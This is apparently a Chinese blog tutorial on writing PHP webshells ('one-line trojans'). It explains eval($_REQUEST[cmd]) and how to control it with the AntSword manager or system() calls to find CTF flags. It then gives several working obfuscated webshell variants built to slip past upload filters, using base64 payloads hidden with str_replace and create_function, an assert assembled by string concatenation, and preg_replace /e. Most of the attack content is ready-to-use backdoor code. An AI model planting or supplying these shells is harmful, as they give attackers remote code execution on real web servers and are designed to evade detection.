PHP木马编写

一、最简单的一句话木马

<?php eval($_REQUEST[cmd]); ?>

1. <?php?>

  • <?php?> 是 PHP 代码的开始和结束标记,表示 PHP 代码块的范围。

2. eval()

  • eval() 是 PHP 中的一个内建函数,用来执行字符串类型的 PHP 代码。它会将传入的字符串当作 PHP 代码进行解析和执行。
  • 由于 eval() 可以执行任意 PHP 代码,因此它通常被视为潜在的安全风险,尤其是在它接收来自外部输入的数据时。

3. $_REQUEST[cmd]

  • $_REQUEST 是 PHP 中的一个超全局数组,它包含了通过 HTTP 请求(如 GETPOSTCOOKIE)传递的数据。
  • cmd$_REQUEST 数组中的一个索引,表示请求中传递的参数名称。也就是说,这段代码期望在请求中传递一个名为 cmd 的参数,并且 cmd 的值将作为 eval() 函数的输入。

二、木马的使用方式:

1.使用webshell管理工具连接:

比如蚁剑:

成功上传一个一句话木马

打开蚁剑,右键添加数据:

填入木马的地址(使用https可能连接失败,最好使用http)和密码(中括号'[]'里的就是密码),编码器使用默认的就行。可以测试连接,然后点击添加。

双击下面这个刚刚添加的数据,可以进入目标的文件目录。一般来说,ctf比赛中,flag中根目录(/)下的/flag里或者/var/www/html下的flag.php里。

2.访问木马get或者post传参使用

system():执行系统命令函数,里面的参数是系统命令。注意末尾要加分号;(英文的)。先找到flag,然后再使用cat或者tac查看。

三、对木马内容进行防检测处理

一般来说,在可以进行上传文件的地方会有很多检验和过滤,这里分享一些常见的针对文件内容的防止检查的木马。

php 复制代码
<?php  $mt="mFsKCleRfU"; $ojj="IEBleldle"; $hsa="E9TVFsnd2VuJ10p"; $fnx="Ow=="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); $ef = $zk("z", "", "zbazsze64_zdzeczodze"); $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?> //pass is wen
php 复制代码
<?php $a="ass"; $b="ert";  $c=$a.$b; $c($_POST[cmd]); ?>
php 复制代码
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['cmd']);?>
php 复制代码
<?php @preg_replace("/[copyright]/e",$_POST['c'],"error");?>
php 复制代码
<?php 
$uf="snc3"; //pass is sqzr
$ka="IEBldmFbsK"; 
$pjt="CRfUE9TVF"; 
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
$iqw="F6ciddKTs="; 
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
?> 
相关推荐
江沉晚呤时1 天前
从零实现 C# 插件系统:轻松扩展应用功能
java·开发语言·microsoft·c#
Knight_AL1 天前
Java 多态详解:概念、实现机制与实践应用
java·开发语言
Omigeq1 天前
1.2.1 - 图搜索算法(以A*为例) - Python运动规划库教程(Python Motion Planning)
开发语言·python·机器人·图搜索算法
资深流水灯工程师1 天前
基于Python的Qt开发之Pyside6 串口接收数据被分割的解决方案
开发语言·python·qt
没有bug.的程序员1 天前
Java 并发容器深度剖析:ConcurrentHashMap 源码解析与性能优化
java·开发语言·性能优化·并发·源码解析·并发容器
量子炒饭大师1 天前
【C++入门】零域终端的虚空指针协议——【nullptr】还在为编译器给NULL匹配为int而头疼?nullptr给予你全新的字面量!
开发语言·c++·nullptr
edisao1 天前
一。星舰到底改变了什么?
大数据·开发语言·人工智能·科技·php
阿豪只会阿巴1 天前
【多喝热水系列】从零开始的ROS2之旅——Day10 话题的订阅与发布1:Python
开发语言·c++·python·ubuntu·ros2
Frank Castle1 天前
【C语言】详解C语言字节打包:运算符优先级、按位或与字节序那些坑
c语言·开发语言
kk哥88991 天前
分享一些学习JavaSE的经验和技巧
java·开发语言